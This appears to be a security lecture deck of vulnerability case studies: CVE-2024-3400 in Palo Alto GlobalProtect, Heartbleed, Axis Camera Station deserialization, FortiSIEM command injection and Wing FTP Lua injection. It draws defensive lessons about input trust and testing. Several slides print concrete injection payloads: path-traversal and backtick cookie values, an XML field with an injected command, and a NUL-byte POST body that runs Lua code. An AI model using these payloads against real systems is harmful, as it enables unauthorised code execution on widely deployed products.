

# **Vulnerabilities: Important Case Studies**



# Role of Vulnerabilities in MITRE ATT&CK

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control
11 techniques	16 techniques	23 techniques	14 techniques	45 techniques	17 techniques	33 techniques	9 techniques	17 techniques	18 techniques
Content Injection	Cloud Administration Command	Account Manipulation (0/7)	Abuse Elevation Control Mechanism (0/6)	Abuse Elevation Control Mechanism (0/6)	Adversary-in-the-Middle (0/4)	Account Discovery (0/4)	Exploitation of Remote Services	Adversary-in-the-Middle (0/4)	Application Layer Protocol (0/5)
Drive-by Compromise	Command and Scripting Interpreter (0/12)	BITS Jobs	Access Token Manipulation (0/5)	Access Token Manipulation (0/5)	Brute Force (0/4)	Application Window Discovery	Internal Spearphishing	Archive Collected Data (0/3)	Communication Through Removable Media
Exploit Public-Facing Application	Container Administration Command	Boot or Logon Autostart Execution (0/14)	Account Manipulation (0/7)	BITS Jobs	Credentials from Password Stores (0/6)	Browser Information Discovery	Lateral Tool Transfer	Audio Capture	Content Injection
External Remote Services	Deploy Container	Boot or Logon Initialization Scripts (0/5)	Boot or Logon Autostart Execution (0/7)	Build Image on Host	Debugger Evasion	Cloud Infrastructure Discovery	Remote Service Session Hijacking (0/2)	Automated Collection	Data Encoding (0/2)
Hardware Additions	ESXi Administration Command	Cloud Application Integration	Cloud Application Integration	Deobfuscate/Decode Files or Information	Deobfuscate/Decode Files or Information	Cloud Service Dashboard	Remote Services (0/8)	Browser Session Hijacking	Data Obfuscation (0/3)
Phishing (0/4)	Exploitation for Client Execution	Compromise Host Software Binary	Compromise Host Software Binary	Deploy Container	Forced Authentication	Cloud Service Discovery	Replication Through Removable Media	Clipboard Data	Dynamic Resolution (0/3)
Replication Through Removable Media	Input Injection	Create Account (0/3)	Create or Modify System Process (0/5)	Direct Volume Access	Forge Web Credentials (0/2)	Cloud Storage Object Discovery	Software Deployment	Data from Cloud Storage	Encrypted Channel (0/2)
Supply Chain Compromise (0/3)	Inter-Process Communication (0/3)	Create or Modify System Process (0/5)	Domain or Tenant Policy Modification (0/2)	Email Spoofing	Input Capture (0/4)	Container and Resource Discovery			
Trusted Relationship	Native API	Event Triggered Execution	Execution Guardrails (0/2)	Execution Guardrails (0/2)	Modify Authentication Process (0/2)	Debugger Evasion			
	Scheduled Task/Job		File and Directory Permissions	Exploitation for Defense Evasion	Multi-factor Authentication Interception (0/2)				
			Exploitation for Privilege Escalation						

- ❑ Almost every tactic
- ❑ Fundamental tool for attackers (not to be overestimated)

# Our path



- We will look at specific examples
- Tiny little bug in software → Catastrophe
- Discussion of implications for cybersecurity and testing
- Much broader discussion later

# **PaloAlto Networks**

# **Global Protect (April 2024)**



# PaloAlto Networks Global Protect (I)



Secure remote access.  
**Wherever. Whenever.**

Uncompromising secure remote access for uncompromised business performance with Prisma® Access.



Your hybrid workforce needs secure access to apps and data, yet traditional VPN is falling short.

When VPN solutions frustrate your users and IT teams, they bring down productivity and raise security risks.

# PaloAlto Networks Global Protect (II)

## Secure remote access. Simplified.

Imagine turning hybrid work into a competitive advantage. It's possible with Prisma Access, which transcends VPN limitations by providing high-performing, easy-to-manage secure remote access.

Transform remote  
access  
management

Revolutionize how you  
safeguard and control  
remote access to critical  
systems, apps, and data.



Hey! Join us at InterSECT 2024  
where industry leaders, tech  
visionaries and cybersecurity  
professi...

# Tiny little bug

- Web application does not check that Cookie values have the expected syntactic structure

```
HTTP/1.1 200 OK
Date: Tue, 16 Apr 2024 14:19:55 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 11442
Connection: keep-alive
Cache-Control: no-store, no-cache, must-revalidate, post-c
Set-Cookie: SESSID=1f18a9a0-8bc4-41e2-98ba-798b25dd4f01; P
X-Frame-Options: DENY
Strict-Transport-Security: max-age 31536000;
```

- Well, what impact this tiny little problem could possibly have?



# Oh my...

- ☐ **Unauthenticated** attacker may execute **arbitrary** code with **root** privileges on the firewall



## CVE-2024-3400 Detail

### Severity

CVSS Version 3.x


CVSS Version 2.0

CVSS 3.x Severity and Metrics:



CNA: Palo Alto  
Networks, Inc.

Base Score: 10.0 CRITICAL



# **How the appliance works (reverse engineered)**



# Session State Management

- Session State of session **ID** is stored in file named  
`/tmp/sslvpn/session_ID`

```
[root@PA-VM sslvpn]# ls -lha
total 24K
drwxrwxrwx  2 root root 4.0K Apr 16 07:26 .
drwxrwxrwt 21 root root 4.0K Apr 16 07:22 ..
-rw-----  1 root root   321 Apr 16 07:19 session_0acf3fa6-81c9-4459-a378-8aad488680dd
-rw-----  1 root root   320 Apr 16 07:19 session_1f18a9a0-8bc4-41e2-98ba-798b25dd4f01
-rw-----  1 root root   321 Apr 16 07:22 session_6bc067fa-81f7-419d-81f0-b1f5e2938148
-rw-----  1 root root   388 Apr 16 07:15 session_aae11556-e036-4c93-a8c1-75c43585d5ed
```

# Telemetry data (I)



- Telemetry data ("what happened"):
  - Stored in these directories (files of a certain format)  
/opt/panlogs/tmp/device\_telemetry/hour  
/opt/panlogs/tmp/device\_telemetry/day
  - Sent **every hour** to a configuration-specified URL

# Telemetry data (II)



- Sent **every hour** to a configuration-specified URL
  - Periodic cron job
  - File upload with curl command

## Synopsis

```
curl [options / URLs]
```

## Description

`curl` is a tool for transferring data from or to a server using URLs. It supports these protocols: DICT, FILE, FTP, FTPS, GOPHER, GOPHERS, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, TFTP, WS and WSS.

# curl command within code (I)

```
...  
curl_cmd = "/usr/bin/curl -v  
    -H \"Content-Type: application/octet-stream\"  
    -X PUT \"%s\"  
    --data-binary @%s  
    --capath %s  
    --interface %s"\\  
    %(signedUrl, fname, capath, source_ip_str)  
...  
pansys(curl_cmd, shell=True, timeout=250)  
...
```

# curl command within code (II)

```
...  
pansys(curl_cmd, shell=True, timeout=250)  
...
```

// nested within several function invocations

```
...  
p = subprocess.Popen(cmd,  
                     stdout=subprocess.PIPE,  
                     bufsize=1, shell=True,  
                     stderr=subprocess.PIPE,  
                     close_fds=close_fds,  
                     universal_newlines=True)  
...
```

Description of parameters by ChatGPT  
<https://chat.openai.com/share/f3fd3d41-8660-44e8-b3b7-46b0fe713d6f>

# **Putting it all together**



# Arbitrary Empty File Creation

- ❑ Web application does not check that Cookie values have the expected syntactic structure

+

- ❑ Session State of session **ID** is stored in file named /tmp/sslvpn/session\_**ID**



- ❑ Send HTTP Request with carefully structured cookie value will create an empty file with **attacker-controlled name**

Cookie: SESSID=test\_data

```
$ ls -lha /tmp/sslvpn/session_test_data
-rw----- 1 root root 0 Apr 15 12:50 session_test_data
```

# Bad Practices (I)




1. Web application runs as root
2. ...

- Not necessarily wrong
- In this case **essential** for the exploit
  
- Not only for its impact

# Directory Traversal

- ❑ Web application runs as root
- +
  - ❑ Send HTTP Request with carefully structured cookie value will create an empty file with **attacker-controlled name**  
**in any arbitrary attacker-chosen directory**



Cookie: SESSID=../../../../hello\_as\_root

```
$ ls -lha /hello_as_root  
-rw----- 1 root root 0 Apr 15 12:55 hello_as_root
```

For some reason, with directory traversal  
the heading "session\_" is not inserted in filename

# What we have so far



- We can write an empty file of our choice in any directory



- We can write an empty file of our choice in **telemetry** directories



- curl will send an empty **telemetry** file of our choice to the configuration-specified URL

- Not useful (yet)

# subprocess.Popen() (I)

// nested within several function invocations

...

```
p = subprocess.Popen(cmd,  
                    stdout=subprocess.PIPE,  
                    bufsize=1, shell=True,  
                    stderr=subprocess.PIPE,  
                    close_fds=close_fds,  
                    universal_newlines=True)
```

...

The underlying process creation and management in this module is handled by the [Popen](#) class. It offers a lot of flexibility so that developers are able to handle the less common cases not covered by the convenience functions.

```
class subprocess.Popen(args, bufsize=-1, executable=None, stdin=None, stdout=None,  
                      stderr=None, preexec_fn=None, close_fds=True, shell=False, cwd=None, env=None,  
                      universal_newlines=None, startupinfo=None, creationflags=0, restore_signals=True,  
                      start_new_session=False, pass_fds=(), *, group=None, extra_groups=None, user=None,  
                      umask=-1, encoding=None, errors=None, text=None, pipesize=-1, process_group=None)
```

# subprocess.Popen() (II)

- `cmd = "/usr/bin/curl -v ... -X PUT ..."`
  
- `subprocess.Popen(cmd, ..., shell=False, ...)`
  - `cmd` is a **list** of strings
  - Spawns a shell that executes `cmd[0]`  
(with `cmd[1], cmd[2], ...` as parameters)
  - This is the default
  
- `subprocess.Popen(cmd, ..., shell=True, ...)`
  - `cmd` is a string
  - Spawns a shell that executes `cmd`

# Linux shell feature: Backticks



```
2          1
echo "Today is `date`"
echo "Number of files: `ls | wc -l`"
```

- Command enclosed within **backticks**
- Bash behavior:
  1. Execute **that command** first
  2. Replace it with its output
  3. Execute enclosing command

# BOOM!

Cookie: SESSID=PATH\_TO\_TELEMETRY\_DIR/aaa`command`

1. Cookie management will create file named aaa`command` in telemetry directory
  2. Telemetry will invoke a **shell** for executing  
`curl ... -X PUT ... aaa`command` ...`
  3. Shell will execute **command** and then `curl`  
(as root!)
- Unauthenticated remote command injection**



# Bad Practices (II)



1. Web application runs as root
2. Executes **a shell** even though it needs to execute **one** single command

- Not necessarily wrong
- In this case they were **essential** for the exploit

# DEFAULT

subprocess.Popen()

Cookie: SESSID=PATH\_TO\_TELEMETRY\_DIR/aaa`command`

1. Cookie management will create file named aaa`command` in telemetry directory
2. Telemetry will execute  
`curl ... -X PUT ... aaa`command` ...`
3. curl will upload that (empty) file to the configuration URL

❑ Unauthenticated remote command injection



# Never Forget



- Web application does not check that Cookie values have the expected syntactic structure
  - +
- Two bad practices
  - =
- Unauthenticated Remote Command Execution (Pre-Auth RCE)

# Understanding this vuln



- ❑ What is the **exploit**?
  - ❑ What is the **payload**?
  - ❑ What is the **threat model** for its exploitation?
- 
- ❑ How difficult is **exploit development**?
  - ❑ How difficult is **injection**?
- 
- ❑ Can it be used for **Initial Access**? Which technique?
  - ❑ For **Execution**?
  - ❑ For **Persistence**?

# Reasoning about detection



- ❑ How to detect **injection attempts?**
- ❑ ...how to **block** them?
  
- ❑ How to detect **injections after the fact?**

# **General Lessons about vulnerabilities**



# You never know



1. Web application runs as root
  2. Executes a **shell** even though it needs to execute **one** single command
- 
- ❑ Unsafe practices are unsafe. Period.
  - ❑ One cannot predict their reach
  
  - ❑ Avoid them as much as you can

# Never **ONE** reason



- Vulnerabilities never result from **one** single reason
- They usually result from **many different** and **seemingly unrelated** reasons

# NEVER trust input data



- ❑ Never. Not even implicitly
- ❑ **Structure** may not be what you expect
- ❑ **Values** may not be what you expect
  
- ❑ Much easier said than done

# Testing (I)



- ❑ More intensive / accurate testing might have discovered **a bug**
- ❑ It would have **not** discovered **this vulnerability automatically**

# Testing (II-a)



- Do **not** expect to discover a **vulnerability** in your testing campaigns
- You will usually observe **only bugs**

# Testing (II-b)



- ❑ Bugs have to be **categorized**:
  1. Not vulnerability
  2. Hardly exploitable vulnerability
  3. Exploitable vulnerability
- ❑ Categorization requires **skills, time, manual work**
  
- ❑ Never quickly dismiss a bug as "this is not a vulnerability"
- ❑ Never start crying whenever you discover a bug

# Very deep question



- You are testing your software product
- Which inputs should you inject?
  - Those representative of **normal** usage
  - **Wrong**, either partially or in full



# Cybersec is a different (harder) game!



- ❑ **Fridge** design and development
- ❑ Requirement:
  - ❑ Operation with external temperature [-15,+40] °C
- ❑ You will **not** test with 200 °C
- ❑ You will **not** design it for tolerating 200 °C

# Adversarial != Hostile



- **Non-SW artifacts: Hostile** environment:
  - Inputs may be "extreme" and perhaps "uncommon"
- **SW artifacts: Adversarial** environment:
  - Inputs **actively** and **carefully selected** to provoke undesired behavior
  - "The worst possible input, at the worst possible time"

# Keep in mind




- Non-SW engineers must cope with **hostile** environments
- SW engineers must cope with **adversarial** environments
- They play different games!

# **Another Interesting Example**



# A simple network protocol (I)



# A simple network protocol (II)

- Request message:
  1. Integer someConst (predefined constant)
  2. Integer echo\_length
  3. Byte array with echo\_length elements
  4. Byte array with 2048 elements
- Field 3 cannot be longer than 1024 elements
  
- Response message:
  1. Byte array in field 3 of request


# Server Implementation Outline



```
#define LEN 4096
char respBuf[4096], reqBuf[4096];
...
// socket: create, listen, accept
// receive request and store it in reqBuf (no overflow)
...
int *ptr = reqBuf;
if (ptr[0] == someConst) {
    int len = ptr[1];
    memcpy(respBuf, ptr[2], len); // No overflow
    // send response from respBuf
    ...
}
```

# What we are doing

```
#define LEN 4096
char respBuf[4096], reqBuf[4096];
...
// socket: create, listen, accept
// receive request and store it in reqBuf (no overflow)
...
int *ptr = reqBuf;
if (ptr[0] == someConst) {
    int len = ptr[1];
    memcpy(respBuf, ptr[2], len); // No overflow
    // send response from respBuf
    ...
}
```



# Ouch....! (I)

```
#define LEN 4096
char respBuf[4096], reqBuf[4096];
...
// create and connect socket s
// receive request and store it in reqBuf (no overflow)
...
int *ptr = reqBuf;
if (ptr[0] == someConst) {
    int len = ptr[1];          // ADVERSARY-CONTROLLED
    memcpy(respBuf, ptr[2], len); // Read overflow
    // send response from respBuf
    ...
}
```



# Information Disclosure

```
#define LEN 4096
char respBuf[4096], reqBuf[4096];
...
// create and connect socket s
// receive request and store it in
...
int *ptr = reqBuf;
if (ptr[0] == someConst) {
    int len = ptr[1];                      // ADVERSARY-CONTROLLED
    memcpy(respBuf, ptr[2], len);           // Read overflow
    // send response from respBuf
    ...
}
```

Some variables  
will be copied to  
respBuf...

...and sent to  
the client

# Catastrophe!



Basically **the same** approach led to:  
Heartbleed (Specific Systems Affected) – Wikipedia

The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.

We have tested some of our own services from attacker's perspective.  
We attacked ourselves from outside, without leaving a trace. Without using any privileged information or credentials we were able steal from ourselves the secret keys used for our X.509 certificates, user names and passwords, instant messages, emails and business critical documents and communication.

# TLS Heartbeat (RFC 6520)

Honest user

Are you there?  
The magic word is  
“banana,” which is 6  
characters long.

Server

Yes I'm here.  
Your magic  
word was  
“banana.”

# OpenSSL Implementation

Evil user

Are you there?  
The magic word is  
“giraffe,” which is 100  
characters long.

Yes I'm here.  
Your magic word was  
“giraffe1^v6%\$John Smith:645-  
43-5324:07/19/1982:jsmith:  
Secr3tPassw0rd:202-563-1234  
:smith@email.com\$.”

Server

# **Lessons Revisited**



# NEVER trust input data



- ❑ Never. Not even implicitly.
- ❑ **Structure** may not be what you expect
- ❑ **Values** may not be what you expect
  
- ❑ Much easier said than done

# Never ONE reason



- Vulnerabilities never result from **one** single reason
- They always result from **many different and seemingly unrelated** reasons
- RFC 6520 was maybe not too explicit

If the payload\_length of a received HeartbeatMessage is too large, the received HeartbeatMessage MUST be discarded silently.

## 7. Security Considerations


The security considerations of [[RFC5246](#)] and [[RFC6347](#)] apply to this document. This document does not introduce any new security considerations.

# Testing




- ❑ More intensive / accurate testing might have discovered **a bug**
- ❑ It would have **not** discovered this **vulnerability automatically**
- ❑ This **vulnerability** maybe could have been discovered **automatically**
- ❑ OpenSSL only has two [fulltime] people to write, maintain, test, and review 500,000 lines of business critical code (2014)

# Important remark about testing (I)



# Important remark about testing



- Wrong input contaminates **internal state** but this is **not** visible on the corresponding output
  
- Discovery by testing enormously complex

# You never know



- Unsafe practices are unsafe. Period.
- One cannot predict their reach
  
- Avoid them as much as you can
  
- **Memory unsafe programming languages** are an **unsafe practice**

# Back to Palo Alto vuln



- Was it caused by **memory safety** issues?
- Would a memory-safe programming language have helped?



# More Examples



# **Axis Camera Station Pro**

## **(August 2025)**



# Axis Cameras (I)

## AXIS Camera Station Pro

Powerful and flexible video management and access control

- ✓ All-in-one video surveillance and access control
- ✓ VMS optimized for Axis products
- ✓ Private network setup with optional cloud connection
- ✓ Intuitive design with a user-friendly interface
- ✓ Powerful feature set for active operation



# Axis Cameras (II)

Axis IP cameras are used in many enterprises globally, including government agencies, educational institutions, and Fortune 500 companies.



# Client-Server Overview (I)



1. Client station connects to Server station with **HTTPS**
  - Secrecy
  - Integrity
  - Mutual** authentication of the machines  
(stronger than common usage of HTTPS)
2. **Authentication** of the Client **account**
3. Client-Server **application** communication with Axis protocol

# Client-Server Overview (II)

- ❑ Axis application protocol allows clients and servers to exchange **arbitrarily complex .NET objects** serialized in JSON
- ❑ Client sends object to Server that reconstructs it (and vice versa)

```
----- SERVER SIDE -----  
----{  
  "Request": {  
    "Id": "fYpAWaAoNNf9",  
    "Service": "SessionFacade",  
    "Method": "LogOnAsync",  
    "Parameters": {  
      "uri": "net.tcp://[REDACTED]:55754/",  
      "clientInformation": {  
        "$type": "WindowsClientApi.Common.Remoting.ClientInformationDto, WindowsClientApi"  
        "MachineWindowsUserName": "DESKTOP-[REDACTED]",  
        "MachineWindowsUserSid": "[REDACTED]",  
        "MachineName": "DESKTOP-[REDACTED]",  
        "PreferredLanguage": "en",  
        "ServerId": "00000000-0000-0000-000000000000"  
      },  
      "communicationType": 1,  
      "ct": "audcKz4EZann"  
    }  
  }  
}
```

# Deserialization

```
public JsonNetSerializer(IDtoConverterService dtoConverterServiceService)
{
    this.dtoConverterServiceService = dtoConverterServiceService;
    this.jsonSerializerWithTypeHandlingNone = JsonSerializer.Create(this.GetSerializerSettings
        (TypeNameHandling.None));
    this.jsonSerializerWithTypeHandlingAuto = JsonSerializer.Create(this.GetSerializerSettings
        (TypeNameHandling.Auto));
}
```

(**TypeNameHandling.Auto**));

## □ Receiver:

1. Reads type of the serialized object
2. Reconstructs object locally

# BOOM!

# Post-Auth RCE



- ❑ Receiver:
  1. Reads type of the serialized object
  2. Reconstructs object locally
- ❑ Receiver does **not** check whether the object has one of the **expected** types  
⇒ It will reconstruct **whatever object** it happens to receive
- ❑ Demo video:
  - ❑ Object that while being reconstructed **invokes Powershell commands** automatically

# **NEVER trust input data (...boring...)**




- Never. Not even implicitly.
  
- **Structure** may not be what you expect
- **Values** may not be what you expect
  
- Much easier said than done

# Further weaknesses...



- Client and Server use **self-signed certificates**
- **Hidden URL** with **anonymous** authentication



- Anyone can interact with any accessible Server  
**Pre-Auth(!)**
- ...and can execute code (Server runs as SYSTEM)

# **FortiNet SIEM**

## **(August 2025)**



# FortiNet SIEM (August 2025)

## Security Information and Event Management (SIEM)

FortiSIEM delivers powerful security information and event management (SIEM) with user and entity behavior analytics (UEBA)

### Delivering on the Promise of Next-Gen SIEM

FortiSIEM is designed to be the backbone of your security operations team and is your ultimate defense against attacks. It includes a unique, high-performance IT/OT SIEM feature-set built on advanced analytics, a fully inbuilt configuration management database (CMDB), native SOAR automation, and GenAI assistance.



### A Gartner Peer Insights™ Customers' Choice for SIEM

Fortinet: 99% willingness to recommend based on 106 reviews in the year ending August 31, 2024.

# Monitoring Process (I)

```
tcp6      0      0 :::7900    :::*      LISTEN     332410/phMonitor
```

According to Fortinet's own [documentation](#), **phMonitor** is responsible for monitoring the health of FortiSIEM processes:

- This process has an endpoint that **invokes a shell command**
- Part of the command is extracted from the serialized **XML content** received

# Monitoring Process (II)

```
<root>
    <archive_storage_type>nfs</archive_storage_type>
    <archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
    <archive_nfs_archive_dir>/nfs1</archive_nfs_archive_dir>
    <scope>local</scope>
</root>
```



```
/opt/phoenix/deployment/jumpbox/datastore.py
```



# Input sanitization

```
/opt/phoenix/deployment/jumpbox/datastore.py nfs test 127.0.0.1 /nfs1 archive
```



```
String cmd = "/opt/phoenix.../datastore.py" +  
           v1 + "test" + v2 + v3 + "archive"  
/* spawn shell that executes cmd */  
...
```

- ❑ **cmd** contains **input data**
- ❑ Shell special characters are removed from **input data** to make sure it will **never** be interpreted as a **command**

# Very weak sanitization → RCE

- Shell special characters are removed from input data to make sure it will **never** be interpreted as a **command**
- Backticks not escaped (!)

```
<root>
    <archive_storage_type>nfs</archive_storage_type>
    <archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
    <archive_nfs_archive_dir>`touch${IFS}/tmp/boom`</archive_nfs_archive_dir>
    <scope>local</scope>
</root>
```

```
/opt/phoenix/deployment/jumpbox/datastore.py nfs test 127.0.0.1 `cmd` archive
```

Practical exploit code for this vulnerability was found in the wild.

# **Wing FTP Server**

## **(June 2025)**



# Wing FTP Server (June 2025)

The screenshot shows the homepage of the Wing FTP Server website. At the top left is a blue feather logo. To its right, the text "Wing FTP Server" is displayed. To the right of the logo, there are navigation links: "Products", "Documentation", and "Support". Below the header, a large white banner features the text "Free FTP Server Software". Underneath the banner, a detailed description of the software's features is provided.

**Wing FTP Server** is a free, easy-to-use, and secure FTP server software for Windows, Linux, and Mac OS. It supports multiple file transfer protocols, including FTP, FTPS, HTTP, HTTPS, and SFTP, giving your clients flexibility in how they connect to the server. And it provides admins with a web-based interface to administrate the server from anywhere. You can also monitor server performance and online sessions and even receive email notifications about various events taking place on the server.

# Session Management



- Written in LUA
- Saving session state:
  1. LUA serialization  
(session objects linearized in byte stream)
  2. File write
- Restoring session state:
  1. File read
  2. LUA deserialization  
(serialized objects reconstructed from byte stream)

# Nice feature of LUA



- Strings are **not NULL-terminated**
- They always have **length** information at runtime
- **Prevent** many **overflow bugs** common in C/C++

# Tiny little bug

Request

Pretty Raw Hex

```
1 POST /loginok.html HTTP/1.1
2 Host: 192.168.178.88
3 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/101.0.4854.82 Safari/537.36
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 63
9 Origin: http://192.168.178.88
8 Connection: keep-alive
1 Referer: http://192.168.178.88/login.html
2 Cookie: client_lang=english; viewmode=0
4 X-PwnFox-Color: blue
9
8 username=anonymous%0@test&password=&username_val=&password_val=
```


username

NULL (URL-encoded)

something

- IF                   username is in AuthDB
- THEN               server code uses **entire parameter value**  
(including NULL and what follows)

# Other point of view



```
Request
Pretty Raw Hex
1 POST /loginok.html HTTP/1.1
2 Host: 192.168.178.88
3 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/101.0.4951.64 Safari/537.36
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 63
9 Origin: http://192.168.178.88
8 Connection: keep-alive
1 Referer: http://192.168.178.88/login.html
2 Cookie: client_lang=english; viewmode=0
4 X-PwnFox-Color: blue
9
8 username=anonymous%00test&password=&username_val=&password_val=
```

- Input data is **implicitly trusted** to have the **expected structure**
- Why should an username have a trailing NULL followed by something else?


# BOOM!

# Post-Auth RCE

```
5 Accept: /*  
6 Connection: keep-alive  
7 Content-Length: 121  
8  
9 username=  
anonymous%00]]%0dlocal+h%3d+io.popen("id")%0dlocal+r%3d+h%3aread("*a")%0dh%3aclose()%0d  
dprint(r)%0d--&password=| _SESSION['username']=[[anonymous^@]]  
local h = io.popen("id")  
local r = h:read("*a")  
h:close()  
print(r)  
--]] _SESSION['ipaddress']=[[192.168.178.100]]  
_SESSION['currentpath']=[[/]]
```

- ❑ LUA code **injected** in session file
- ❑ It will be executed upon deserializing

# Important remark about testing



- Wrong input contaminates **internal state** but this is **not** visible on the corresponding output
- Discovery by testing enormously complex